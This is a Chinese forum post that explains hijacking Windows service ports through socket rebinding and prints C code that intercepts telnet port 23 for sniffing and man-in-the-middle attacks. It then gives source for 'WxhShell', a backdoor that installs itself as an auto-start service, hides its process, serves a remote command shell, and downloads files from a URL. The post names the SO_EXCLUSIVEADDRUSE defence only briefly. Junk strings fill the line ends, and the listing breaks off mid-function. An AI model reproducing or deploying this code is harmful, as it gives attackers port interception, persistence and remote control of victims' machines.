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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xa2QtJq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wK[xLf  
 [;D4,@A  
  saddr.sin_family = AF_INET; !5}Ibb  
i>S /W!F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); : /9@p  
mb*L'y2r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ] y, 6  
:G|Jcl=r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @Zs}8YhC  
1e;^Mz B"  
  这意味着什么?意味着可以进行如下的攻击: -, ~n|ceI  
(d[)U<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^z$-NSlI  
LmLV2f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @>J4K#"  
?<Dinq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X.,1SYG[  
L!-@dz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4b8!LzKS  
4 ~17s`+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E#_TX3B   
67Ai.3dR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m?_S&/+*  
[KR`%fD0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #nc{MR#R  
& h9ji[  
  #include n-dO |3,  
  #include //W<\  
  #include (i7]N[  
  #include    R tn.cSd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W:P4XwR{  
  int main() Cl]E rg  
  { zQ}:_  
  WORD wVersionRequested; im_W0tGvF  
  DWORD ret; S >uzW #  
  WSADATA wsaData; EpeTfD  
  BOOL val; "j9,3yJT  
  SOCKADDR_IN saddr; JLRw`V,o7  
  SOCKADDR_IN scaddr; NrTQ}_3)  
  int err; :?{ **&=  
  SOCKET s; VuFH >8n  
  SOCKET sc; e.i5j^5u  
  int caddsize; UR?[ba_h   
  HANDLE mt; R{3f5**0  
  DWORD tid;   jGEUl=W  
  wVersionRequested = MAKEWORD( 2, 2 ); LI?rz<H!D  
  err = WSAStartup( wVersionRequested, &wsaData ); o\8yYX  
  if ( err != 0 ) { L^)&"6oSa  
  printf("error!WSAStartup failed!\n"); _ 9Tv*@  
  return -1; 5-bd1!o  
  } *;O$=PE  
  saddr.sin_family = AF_INET; ;*+jCL 2F  
   VZJs@qx:Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |J2R w f  
(hVhzw"~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CJ&0<Z}{m  
  saddr.sin_port = htons(23); l.lXto.6)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V$-IRdb  
  { )2z (l-$.  
  printf("error!socket failed!\n"); VVvV]rU~  
  return -1; L!DP*XDp  
  } #OH-LWZh  
  val = TRUE; xF5q=%n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R1X9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jk|c!,!  
  { `Bnp/9q5  
  printf("error!setsockopt failed!\n"); \A _g  
  return -1; j"/i+r{"E  
  } cI'&gT5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; on+ c*#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BULX*eOt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4W~pAruwr  
9rtcI[&?0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Uw5z]Jck  
  { &?/h#oF@\  
  ret=GetLastError(); )`^t,x<S  
  printf("error!bind failed!\n"); d$kGYMT"  
  return -1; y_38;8ex  
  } "W|Sh#JF  
  listen(s,2); VLc=!W}  
  while(1) mTW0_!.  
  { ?I`']|I  
  caddsize = sizeof(scaddr); kh 1 7  
  //接受连接请求 _{KQQ5k\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v'S}&zmF]  
  if(sc!=INVALID_SOCKET) R|ViLty  
  { Tv3Bej  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F>)u<f,C  
  if(mt==NULL) !Z,h5u\.w  
  { b-@VR  
  printf("Thread Creat Failed!\n"); "kz``6C  
  break; E:(flW=  
  } W sQo+Ua  
  } 0eQyzn*98  
  CloseHandle(mt); U/m6% )Yx(  
  } ;c_X ^"d  
  closesocket(s); 9n$GeRO  
  WSACleanup(); %?y ?rt  
  return 0; \q(RqD  
  }   'd^U!l  
  DWORD WINAPI ClientThread(LPVOID lpParam) M/ 0!B_(R  
  { 1fm\5/}'`1  
  SOCKET ss = (SOCKET)lpParam; d /jO~+jP  
  SOCKET sc; "ZNiTND  
  unsigned char buf[4096]; P(d4~hS  
  SOCKADDR_IN saddr; ^{_`jE  
  long num; <jQ?l% \  
  DWORD val; $VhUZGuG>  
  DWORD ret; ,;'9PsIS^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }?^5\otu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R>To L  
  saddr.sin_family = AF_INET; jtV{Lf3<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d90B15]gv  
  saddr.sin_port = htons(23); M&~3fRb 4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vL`wn=  
  { OO] ~\j  
  printf("error!socket failed!\n"); &p^ S6h  
  return -1; pV(b>O  
  } C+cSy'VIK!  
  val = 100; dOqn0Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "Git@%80  
  { DT8|2"H  
  ret = GetLastError(); >0=`3X|Y7  
  return -1; H ZIJKk(  
  } 3lqR(Hh3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fa,a)JY>  
  { 9Y- Sqk+  
  ret = GetLastError(); jmmm0,#D  
  return -1; bg*4Z?[dd  
  } !uii|"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @3K)VjY7  
  { YW}q@AY7  
  printf("error!socket connect failed!\n"); (!&cfabL  
  closesocket(sc); _y#t[|}w  
  closesocket(ss); ><viJ$i  
  return -1; B@Ez,u5  
  } +#}I^N  
  while(1) :se o0w]  
  { cXFNX<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0 ML=]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &7!&]kA+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pk7Yq:avL  
  num = recv(ss,buf,4096,0); O7I:Y85i#O  
  if(num>0) 0PI C|  
  send(sc,buf,num,0); E9;cd$}K  
  else if(num==0) p[VBeO^%  
  break; 6n]fr9f  
  num = recv(sc,buf,4096,0); 9; HR  
  if(num>0) r]sv50Fy  
  send(ss,buf,num,0); H2l/9+  
  else if(num==0) ~z$vF  
  break; z/)HJo2#  
  } (GJ)FWen0"  
  closesocket(ss); wbshKkUh_*  
  closesocket(sc); AqZ{x9g!  
  return 0 ; 3XYCtp8  
  } w7$*J:{  
Q9H~B`\nQ  
D'F =v\P  
========================================================== f ."bq43(  
~C6d5\  
下边附上一个代码,,WXhSHELL >c*}Do{lG  
` /#f8R1g  
========================================================== !5wm9I!5^  
Zj99]4?9  
#include "stdafx.h" 8 sZ~3  
hn#i,XnY  
#include <stdio.h> ya0L8`q  
#include <string.h> !jL|HwlA  
#include <windows.h> UB }n=  
#include <winsock2.h> 8rAOs\ys  
#include <winsvc.h> ^6bU4bA  
#include <urlmon.h> 8bLA6qmM\  
cu5Yvp  
#pragma comment (lib, "Ws2_32.lib") _nOJ.G  
#pragma comment (lib, "urlmon.lib") (ec?_N0=  
Xi^3o  
#define MAX_USER   100 // 最大客户端连接数 7"Sw))H|  
#define BUF_SOCK   200 // sock buffer IqJ7'X  
#define KEY_BUFF   255 // 输入 buffer uIvy1h9m  
NJ^`vWi  
#define REBOOT     0   // 重启 z 0]K:YV_  
#define SHUTDOWN   1   // 关机 ` =g9Rg/<  
wN\%b}pp  
#define DEF_PORT   5000 // 监听端口 o@mZ6!ax3  
sy=M#WGS  
#define REG_LEN     16   // 注册表键长度 2F[smUL  
#define SVC_LEN     80   // NT服务名长度 f^z~{|%l!  
wWv")dk3i  
// 从dll定义API 3e~ab#/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "Kx2k>ym  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [,Q(~Qb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jFY6}WY)}7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D::$YR ~R  
!'o5X]s  
// wxhshell配置信息 0)`{]&  
struct WSCFG { "K n JUXpl  
  int ws_port;         // 监听端口 HgPRz C  
  char ws_passstr[REG_LEN]; // 口令 u@tJu'X  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6:O3>'n  
  char ws_regname[REG_LEN]; // 注册表键名 j}7as&  
  char ws_svcname[REG_LEN]; // 服务名 ||a 5)D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bmgK6OyVR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pXf!8X&y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x%ju(B>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }CnqJ@>C5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R("g ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \>0%E{CR  
w DswK "T  
}; 2`hc0 IE  
.}n,  
// default Wxhshell configuration WPi^;c8  
struct WSCFG wscfg={DEF_PORT, W iqlc  
    "xuhuanlingzhe", u; \:#721  
    1, sVtx h]  
    "Wxhshell", <`,pyvR Kv  
    "Wxhshell", ,S 5tkTa  
            "WxhShell Service", M24FuS  
    "Wrsky Windows CmdShell Service", V9[-# Ti  
    "Please Input Your Password: ", >Y=HP&A<  
  1, ~SgW+sDF u  
  "http://www.wrsky.com/wxhshell.exe", tgXIj5z  
  "Wxhshell.exe" px;5X4U  
    }; >=Hm2daN  
rqbX9M^  
// 消息定义模块 N=FU>qbz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p?(w !O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y^80@MJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hT4 u;3xE  
char *msg_ws_ext="\n\rExit."; t)P5bQ+$u9  
char *msg_ws_end="\n\rQuit."; 7Gb1[3  
char *msg_ws_boot="\n\rReboot..."; [ fvip_Pt  
char *msg_ws_poff="\n\rShutdown..."; D-\WS^#  
char *msg_ws_down="\n\rSave to "; ],CJSA!5F  
#U45;idp  
char *msg_ws_err="\n\rErr!"; 'zCJK~x`x  
char *msg_ws_ok="\n\rOK!"; 7 zo)t1H1  
vH/<!jtI  
char ExeFile[MAX_PATH]; :U)>um34e  
int nUser = 0; [5K& J-W  
HANDLE handles[MAX_USER]; $MD|YW5  
int OsIsNt; RU&,z3LEb  
Gh}k9-L  
SERVICE_STATUS       serviceStatus; ?&$??r^i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V?AHj<  
>^}nk04  
// 函数声明 zy\p,  
int Install(void); YoiM\gw  
int Uninstall(void); GyI(1O AW  
int DownloadFile(char *sURL, SOCKET wsh); 6(Za}H  
int Boot(int flag); *#+e_)d  
void HideProc(void); 3]xe7F'`  
int GetOsVer(void); 0I_A$Z,x  
int Wxhshell(SOCKET wsl); k$ k /U  
void TalkWithClient(void *cs); 4/YEkD  
int CmdShell(SOCKET sock); &2IrST{d:V  
int StartFromService(void); /N6sH!w  
int StartWxhshell(LPSTR lpCmdLine); Q- ( [3%  
AZ' "M{wiI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2,,zN-9mt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q79& Q04XN  
M`IiK+IoU  
// 数据结构和表定义 Trd/\tX#v&  
SERVICE_TABLE_ENTRY DispatchTable[] = ngF5ywIG  
{ RDU,yTHq  
{wscfg.ws_svcname, NTServiceMain}, BG:l Zj'I  
{NULL, NULL} 6&/H XqP  
}; F02S(WWo;  
b]S4\BBT  
// 自我安装 [pMJ9 d$  
int Install(void) xbJ@z {  
{ Wy^43g38'p  
  char svExeFile[MAX_PATH]; _22;hnG<iy  
  HKEY key; me]O  
  strcpy(svExeFile,ExeFile); iC-WQkQY  
N<c98  
// 如果是win9x系统,修改注册表设为自启动  E~oQ%X~  
if(!OsIsNt) { = 7U^pT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w?_y;&sbR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tY$ .(2Ua  
  RegCloseKey(key);  +C3IP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VB6EM|bphl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `:WVp~fn  
  RegCloseKey(key); yNp l0 d  
  return 0; 3/a$oO  
    } ,VZ;=  
  } b;$ -s \%  
} Ju5<wjQR\  
else { tln*Baq  
vd7%#sHH&  
// 如果是NT以上系统,安装为系统服务 OiPE,sv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RqTW$94RD  
if (schSCManager!=0) Q*wub9  
{ Dw}8ci'  
  SC_HANDLE schService = CreateService :$Lu V5  
  ( gM=oH   
  schSCManager, M7Ej#Y  
  wscfg.ws_svcname, Oi{X \Y  
  wscfg.ws_svcdisp, y Q\K;  
  SERVICE_ALL_ACCESS, U9:?d>7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,EPs>#d  
  SERVICE_AUTO_START, cgKK(-$ny  
  SERVICE_ERROR_NORMAL, ca>6r`  
  svExeFile, c +Pg[1-  
  NULL, l!Q |]-.@  
  NULL, [s?H3yQ.  
  NULL, Kj[X1X5  
  NULL, !>XG$-$`Z  
  NULL B ;Zsp  
  ); 6itp Mck  
  if (schService!=0) ^bpxhf x  
  { ', -4o-  
  CloseServiceHandle(schService); v=Ep  
  CloseServiceHandle(schSCManager); q^}QwJw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |RT#ZMJek  
  strcat(svExeFile,wscfg.ws_svcname); 0:-i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )W^Wqa8mG|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,aI 6P-  
  RegCloseKey(key); #;. tVo I  
  return 0; }9T$XF~  
    } G'c!82;,?  
  } ]p3hq1u3&  
  CloseServiceHandle(schSCManager); U85t !U  
} NJ8QI(^"  
} >T3HkOT  
;OW`(jC  
return 1; FG8genCH@  
} 4xLU15C  
3\eb:-B:@  
// 自我卸载 iN%\wkx*N  
int Uninstall(void) #W<D~C[I _  
{ ]>h2h?2te  
  HKEY key; S9X~<!]  
$^R[t;  
if(!OsIsNt) { x9r5 ;5TI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,6rg00wGE  
  RegDeleteValue(key,wscfg.ws_regname); kM>0>fkjE  
  RegCloseKey(key); I^ W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WE$Pi;q1  
  RegDeleteValue(key,wscfg.ws_regname); w?kdM1T  
  RegCloseKey(key); Zcd!y9]#  
  return 0; 31mY]Jve"  
  } ai"Kd=R  
} ;zI;oY#.y  
} }x % ;y]S  
else { L+Q"z*W  
1fRYXqx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `+]9+:tS  
if (schSCManager!=0) !?B9 0(  
{ Qz&I~7aoyV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;;BQuG  
  if (schService!=0) q[]EVs0$ew  
  { (1\!6  
  if(DeleteService(schService)!=0) { jM1|+o*Wr  
  CloseServiceHandle(schService); $5nOiaQL  
  CloseServiceHandle(schSCManager); H~RWM'_  
  return 0; 2&fIF}vk>m  
  } vW6Pf^yJ  
  CloseServiceHandle(schService); Vf6lu)Z c1  
  } drT X  
  CloseServiceHandle(schSCManager); %w7J0p  
} cT^,[ 3i:c  
} eG26m_S=  
Ty\&ARjb 8  
return 1; V ea>T^  
}  !pl<  
*{:FPmDU  
// 从指定url下载文件 [ >#?C*s  
int DownloadFile(char *sURL, SOCKET wsh) 04NI.Jv  
{ !$hrK6o  
  HRESULT hr; ~$w-I\Q!  
char seps[]= "/"; k{Yj!C> #  
char *token; 4VLrl8$K  
char *file; cF_`m  
char myURL[MAX_PATH]; 5{qFKo"g@,  
char myFILE[MAX_PATH]; w'ZL'/d  
m *8[I  
strcpy(myURL,sURL); O?NAbxkp  
  token=strtok(myURL,seps); lwPK^)|}  
  while(token!=NULL) I"*g-ji0  
  { l epR}  
    file=token; Y ~RPspHW  
  token=strtok(NULL,seps); n5"rSgUtE  
  } 2-nL2f!a{p  
%YefTk8cr,  
GetCurrentDirectory(MAX_PATH,myFILE); D8slSX`6j  
strcat(myFILE, "\\"); O-:#Q(H!  
strcat(myFILE, file); yJ8WYQQMG  
  send(wsh,myFILE,strlen(myFILE),0); nab:y(]$/  
send(wsh,"...",3,0); jy{T=Nb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x, a[ p\1  
  if(hr==S_OK) 95^w" [}4Q  
return 0; h";G vjy  
else ("o <D{A  
return 1; Y>Q9?>}Q  
P"W$ZX  
} ;^xlDN  
ftF?T.dx  
// 系统电源模块 OM{-^  
int Boot(int flag) By6C+)up  
{ sl-LX)*N#  
  HANDLE hToken; T=: &W3  
  TOKEN_PRIVILEGES tkp; g"]%5Ow1  
YnuC<y &p  
  if(OsIsNt) { N!m-gymmF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S(mJ;C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ta?#o  
    tkp.PrivilegeCount = 1; 9I=J#Hi|+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >[,Rt"[V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1 9a"@WB@  
if(flag==REBOOT) { j(6:   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P (jlWr$$  
  return 0; UZMo(rG.]{  
} d6,%P 6  
else { BIDmZU9tL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^CI.F.#X|  
  return 0; %k{~Fa  
} g1muT.W]S  
  } fm87?RgXD  
  else { 3G8BYP  
if(flag==REBOOT) { DzO0V"+H}k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v>.nL(VLjP  
  return 0; cEi{+rfZd|  
} |gx{un`  
else { l/[@1(F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JT&CJ&#[h  
  return 0; =1)yI>2e%}  
} 3SVI|A5(d  
} O\pqZ`E=s  
kmNY ;b6Y$  
return 1; 3lhXD_Y  
}  >>Hsx2M  
#*,Jqr2f  
// win9x进程隐藏模块 \bqNjlu  
void HideProc(void) @JE:\  
{ C\dQ6(3}\  
jJ?MT#v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TbU\qcm]]  
  if ( hKernel != NULL ) `da6}Vqj:  
  { p 9XHYf72  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (\.[pj%-O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lZV]Z3=p'0  
    FreeLibrary(hKernel); e<YC=67n)  
  } +|r;t  
lYv :  
return; m7z/@b[  
} !0c7nzjm  
>BMJA:j  
// 获取操作系统版本 &5Ea6j  
int GetOsVer(void) cQzd0X  
{ 9c9-1iS  
  OSVERSIONINFO winfo; vLD Ma>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2V/ A%  
  GetVersionEx(&winfo); ;gy_Qf2U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .}kUD]pW  
  return 1;  kOETx  
  else a+)Yk8%KY  
  return 0; f'TjR#w  
} sn2SDHY  
U# Y ?'3:  
// 客户端句柄模块 ?*K;+@EH  
int Wxhshell(SOCKET wsl) f'\I52;FB  
{ {}N*e"<O  
  SOCKET wsh; Run)E*sf  
  struct sockaddr_in client; 9 }|Bs=q  
  DWORD myID; oiJa1X  
5*[zIKdt2  
  while(nUser<MAX_USER) R +P,kD?  
{ %Ub"V\1  
  int nSize=sizeof(client); C"k8 M\RW?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )9##mUt'}  
  if(wsh==INVALID_SOCKET) return 1; JxiLjvIq  
.hn{m9|U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pnca+d  
if(handles[nUser]==0) )"|'=  
  closesocket(wsh); muT+H(Zp}  
else jr~ +}|@{  
  nUser++; - 4'yp  
  } 2$yKa5SaX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hlp!6\gukp  
Otj=vGr0  
  return 0; >*,Zc  
} ;H_yNrwA  
# Fw<R'c  
// 关闭 socket t< $9!"  
void CloseIt(SOCKET wsh) ($7>\"+Tl  
{ Zg5@l3w  
closesocket(wsh); M7Cq)cT  
nUser--; }C"EkT!F  
ExitThread(0); 60[f- 0X  
} +Nv&Qu%  
&.an-  
// 客户端请求句柄 I"#jSazk  
void TalkWithClient(void *cs) 8II-'%S6q  
{ =+T{!+|6P  
-9}]J\  
  SOCKET wsh=(SOCKET)cs; ~ bL(mq  
  char pwd[SVC_LEN]; 8?W\kf$  
  char cmd[KEY_BUFF]; !9356) cV  
char chr[1]; "^;'.~@e8  
int i,j; !ceuljd]  
LDBxw  
  while (nUser < MAX_USER) { }di)4=U9  
QKCc5  
if(wscfg.ws_passstr) { jeN_ sm81b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?CAP8_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w:r0>  
  //ZeroMemory(pwd,KEY_BUFF); SLSJn))@!  
      i=0; L q'*B9  
  while(i<SVC_LEN) { x@m"[u  
ZL#4X*zT  
  // 设置超时 \s`'3y  
  fd_set FdRead; G2ZF`WQ  
  struct timeval TimeOut; yf*MG&}  
  FD_ZERO(&FdRead); ~)tIO<$U  
  FD_SET(wsh,&FdRead); Pw1V1v&> q  
  TimeOut.tv_sec=8; $ n`<,;^l  
  TimeOut.tv_usec=0; E+dr\Xhv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DvF`KHsy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  .r[DqC  
szF[LRb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @'?<9 2A  
  pwd=chr[0]; $f_;>f2N  
  if(chr[0]==0xd || chr[0]==0xa) { *hF5cM[  
  pwd=0; McNj TD  
  break; vs{i2!^  
  } RxAWX?9Z  
  i++; ^.mQ~F  
    } <6mXlK3N0  
:)g=AhBF  
  // 如果是非法用户,关闭 socket ` R!0uRu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |08tQ  
} QVL92"  
:o*{.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fb*^GH)J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UB|Nx(V s  
y,DK@X  
while(1) { "6Nma)8  
n/p M[gI  
  ZeroMemory(cmd,KEY_BUFF); UN`-;!  
>9esZA^';  
      // 自动支持客户端 telnet标准   ',z'.t  
  j=0; &~6Z)}  
  while(j<KEY_BUFF) { 1e'-rm F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KOV^wSwS  
  cmd[j]=chr[0]; 6G/)q8'G  
  if(chr[0]==0xa || chr[0]==0xd) { ?WG9}R[qE/  
  cmd[j]=0; qe"5&cc1  
  break; _Jj|g9b  
  } :V HJD  
  j++; uB 6`e!Q  
    } tJUMLn?  
U/&?rY^|  
  // 下载文件 $ZK4Ps -$  
  if(strstr(cmd,"http://")) { ! D'U:)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pb{'t2kk  
  if(DownloadFile(cmd,wsh)) CP7Zin1S/w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AXH4jQw  
  else ]QtdT8~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xaoaZ3Ko  
  } A>%fE 6FY  
  else { H[*.Jd  
. m7iXd{  
    switch(cmd[0]) { *Y9"-C+  
  <gZC78}E  
  // 帮助 AQbbIngo  
  case '?': { [ \V]tpl!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [bJ"*^M)  
    break; 4eU};Pv  
  } '@AK0No\W  
  // 安装  3iV/7~ O  
  case 'i': { W7l/{a @  
    if(Install()) *VIM!/YW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e l'^9K  
    else 6y%BJU.I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UI<'T3b  
    break; hs2f3;)  
    } (vz)GrH>  
  // 卸载 nDiD7:e7=  
  case 'r': { OB6I8n XW  
    if(Uninstall()) VMad ]bEf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )!|K3%9  
    else w/d9S(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kkyn>Wxv  
    break; V*5:Vt7N  
    } RT)0I;  
  // 显示 wxhshell 所在路径 WQv~<]1J F  
  case 'p': { @-kzSm  
    char svExeFile[MAX_PATH]; iq5h[  
    strcpy(svExeFile,"\n\r"); +m:U9K(\h  
      strcat(svExeFile,ExeFile); !b rN)b)f  
        send(wsh,svExeFile,strlen(svExeFile),0); =XQ3sk6U  
    break; mmwwz  
    } !g=,O6  
  // 重启 UmiW_JB  
  case 'b': { ^^jF*)DT@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~b3xn T  
    if(Boot(REBOOT)) G/Kz_Y,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | (v/>t  
    else { ? 4qN>uW=  
    closesocket(wsh); ?lR)Hi  
    ExitThread(0); +SrE  
    } 1^}() H62}  
    break; {KeHqM}e  
    } EK@yzJ%  
  // 关机 KP _=#KD  
  case 'd': { _AI2\e  
